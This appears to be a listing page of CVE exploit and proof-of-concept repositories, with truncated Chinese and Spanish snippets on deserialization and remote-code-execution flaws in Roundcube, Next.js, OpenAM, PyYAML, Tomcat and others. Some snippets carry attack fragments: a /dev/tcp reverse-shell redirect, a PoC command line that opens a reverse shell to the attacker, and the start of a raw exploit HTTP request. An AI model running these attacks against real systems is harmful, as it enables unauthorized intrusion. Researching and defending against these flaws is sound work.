CVE-2022-RCE

CVE-2022-XXXX 反向辣鸡数据投放 CVE订阅 工具 利用 教程 Exploit POC RCE LOG4j 反序列化 JNDI Payload CVE-2022-20550 CVE-2022-20551 CVE-2022-20552 CVE-2022-20553 CVE-2022-20554 CVE-2022-20555 CVE-2022-20556 CVE-2022-20557 CVE-2022-20558 CVE-2022-20559 CVE-2022-20560 CVE-2022-20561 CVE-2022-20562 CVE-2022-20563...

CVE-2025-49132

CVE-2025-49132 - 10.0（严重） https://github.com/pterodactyl/panel/security/advisories/GHSA-24wv-6c99-f843 受影响版本：1.9.0 .. 1.11.10 运营安全注意事项 RCE 利用有限，但可通过以下方式检测： cat /var/www/pterodactyl/storage/logs/laravel-2025--.log | grep 'Illuminate\\Translation\\FileLoader-load' 如果访问日志被禁用（默认配置下，无 SSL...

CVE-2024-52433

CVE-2024-52433 My Geo Posts Free = 1.2 - Inyección de Objetos PHP no Autenticada Descripción El plugin My Geo Posts Free para WordPress es vulnerable a Inyección de Objetos PHP en versiones hasta, e incluyendo, 1.2 mediante la deserialización de entrada no confiable. Esto hace posible que atacant...

CVE-2025-49113

Exploit de CVE-2025-49113 para Roundcube Un exploit en Python para CVE-2025-49113, dirigido a una vulnerabilidad en el webmail de Roundcube que permite la ejecución remota de código mediante la deserialización de objetos PHP. Descripción general Este exploit aprovecha una vulnerabilidad de...

CVE-2025-66478-Exploit-PoC

CVE-2025-66478 Exploit PoC 本仓库包含用于复现和研究 Next.js CVE-2025-66478 漏洞的概念验证 PoC 代码. 它包括一个存在漏洞的 Next.js 应用程序和一个用于测试该漏洞的 Node.js 漏洞利用脚本. 中文 · English 什么是 CVE-2025-66478? 这是一个发生在 Next.js Server Actions 处理过程中的 远程代码执行 RCE 漏洞. 关键要点: 根本原因 : RSC React 服务器组件 Flight 协议中的不安全反序列化. 攻击向量 : 通过 proto 属性进行原型链污染. 漏洞摘要...

cve-2025-61882-oracle_ebs_rce_reproduction

CVE-2025-61882 — Ejecución remota de código no autenticada en Oracle E-Business Suite CVSS 9.8 CRÍTICO Resumen CVE-2025-61882 es una vulnerabilidad de ejecución remota de código no autenticada en Oracle E-Business Suite EBS que afecta a los componentes Concurrent Processing y BI Publisher. La fal...

PoC-for-CVE-2020-28948-CVE-2020-28949

POC para CVE-2020-28948 y CVE-2020-28949 Los archivos aquí contienen el PoC para CVE-2020-28948 y CVE-2020-28949 para lograr la explotación remota. El servidor La carpeta server contiene un servidor de subida simple que utiliza la librería vulnerable ArchiveTar, ubicada en server/Archive. El...

CVE-2026-33439-PoC

CVE-2026-33439 — RCE Pre-Auth en OpenAM Ejecución Remota de Código pre-autenticación en OpenIdentityPlatform OpenAM = 16.0.5 mediante deserialización insegura de Java del parámetro jato.clientSession CVSS 9.8. Solo para pruebas de seguridad autorizadas. Inicio Rápido 1. Build payload downloads JA...

CVE-2020-14343-PyYAML

CVE-2020-14343 PyYAML 反序列化漏洞 POC 漏洞概述 项目| 信息 ---|--- CVE编号| CVE-2020-14343 影响组件| PyYAML 示例： python poc.py http://vulnerable-site.com 192.168.1.100 4444 攻击流程 1. 脚本在本地启动 TCP 监听器 2. 上传恶意 YAML 文件到目标 /upload 接口 3. 触发 /login 接口加载并解析 YAML 4. 目标服务器执行 payload，反弹 shell 到攻击者 依赖安装 pip install requests 免责声明 ⚠️...

CVE-2026-33439-Poc

CVE-2026-33439 RCE pre-autenticación en OpenIdentityPlatform OpenAM mediante deserialización insegura de Java del parámetro jato.clientSession. Afecta a & /dev/tcp/HOST/PORT 0&1' La salida es ciega. La petición se bloquea hasta que el comando finaliza, por lo que el tiempo confirma la ejecución...

CVE-2026-33439

🐞 CVE-2026-33439: RCE pre-autenticación en OpenAM mediante deserialización de jato.clientSession Conocimiento humano + análisis asistido por IA + ingeniería inversa + aviso → exploit Primera implementación de exploit compartida públicamente para CVE-2026-33439 Vulnerabilidad de deserialización de...

React2Shell

@React2Hell — CVE-2025-55182 漏洞利用 🔥 Next.js / React 服务端远程代码执行 RCE 漏洞利用 █████▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ▄▄▄▄▄ ██ ██ ▄▄▄▄▄ ▄▄ ▄▄ ██▄▄██▄ ██▄▄ ██▀██ ██▀▀▀ ██ ▄██▀ ██▄▄ ██████ ██▄▄ ██ ██ ██ ██ ██▄▄▄ ██▀██ ▀████ ██ ███▄▄ ▄▄▄███ ██ ██ ██▄▄▄ ██▄▄▄ ██▄▄▄ MAGENTA Next.js/React 服务端 RCE 漏洞利用 —...

cve-2022-1471-jira-lab

CVE-2022-1471 — Laboratorio de RCE de SnakeYAML contexto de Jira / Automation for Jira Laboratorio offline y autocontenido que demuestra el mecanismo detrás de CVE-2022-1471 deserialización insegura de SnakeYAML → RCE, CVSS 9.8, tal como se utiliza en el hallazgo de Jira / Jira Service Management...

CVE-2026-59827

CVE-2026-59827: Deserialización insegura en consultas nativas H2 de Metabase Severidad: Crítica CVSS 9.9 CVE: CVE-2026-59827 Aviso: GHSA-w95f-x9v9-wv36 Reportado por: Matheus Gutierre @Gutierre0x80 Publicado: 30 de junio de 2026 Resumen de la vulnerabilidad Un usuario autenticado con acceso a...

CVE-2025-49113

针对 CVE-2025-49113 的 Python 脚本 用法: python exploit.py https://ubuntu.com/security/CVE-2025-49113 描述： Roundcube Webmail 在 1.5.10 之前及 1.6.x 在 1.6.11 之前版本中，允许经过身份验证的用户远程执行代码，原因是 URL 中的 from 参数未在 program/actions/settings/upload.php 中经过验证，导致 PHP 对象反序列化。...

CVE-2026-27971_POC

CVE-2026-27971 — PoC de RCE no autenticado en Qwik server$ !WARNING Este repositorio contiene una prueba de concepto activa de ejecución remota de código. Úsala únicamente contra sistemas que poseas o para los que tengas autorización explícita de prueba. El autor no asume responsabilidad alguna p...

CVE-2025-64512-pdfminer-PoC

CVE-2025-64512 — PoC de deserialización de CMapDB en pdfminer.six Prueba de concepto de una vulnerabilidad de deserialización en pdfminer.six que conduce a la ejecución de código arbitrario al analizar un PDF manipulado. PROPÓSITO / AVISO LEGAL Este repositorio se proporciona solo con fines...

cve-2025-55182

CVE-2025-55182 又名 React2Shell 搭建测试环境 kiot :: /react2shell » docker compose build --no-cache kiot :: /react2shell » docker compose up POC Payload 1. 通过响应体实现 RCE POST / HTTP/1.1 Host: localhost:3000 Next-Action: whatever Content-Type: multipart/form-data; boundary=----cve202555182 Content-Length: 6...

PoC_CVE-2020-9484

Este repositorio contiene un exploit de prueba de concepto para CVE-2020-9484, junto con un servidor web de ejemplo que es vulnerable a este exploit. Requisitos previos para que esta vulnerabilidad sea explotable Las versiones de Tomcat afectadas son: Apache Tomcat 10.x 10.0.0-M5 Apache Tomcat 9....

HTTP-Request-for-PHP-object-injection-attack-on-CVE-2023-41892

这种攻击类型试图利用PHP应用程序的反序列化过程来执行任意代码或对服务器进行非预期的操作。 缓解策略 为了防御PHP对象注入及类似攻击，请考虑以下策略： 禁用PHP对象反序列化：避免对用户控制的输入使用unserialize，因为它本质上是不安全的。 使用JSON序列化：在交换数据结构时，使用JSON编码/解码（jsonencode/jsondecode），而不是PHP序列化。 清理和验证输入：严格检查所有用户输入，确保它们不包含意外或恶意数据。 实施访问控制：限制对敏感功能和数据的访问。确保只有授权用户才能访问潜在危险的功能。...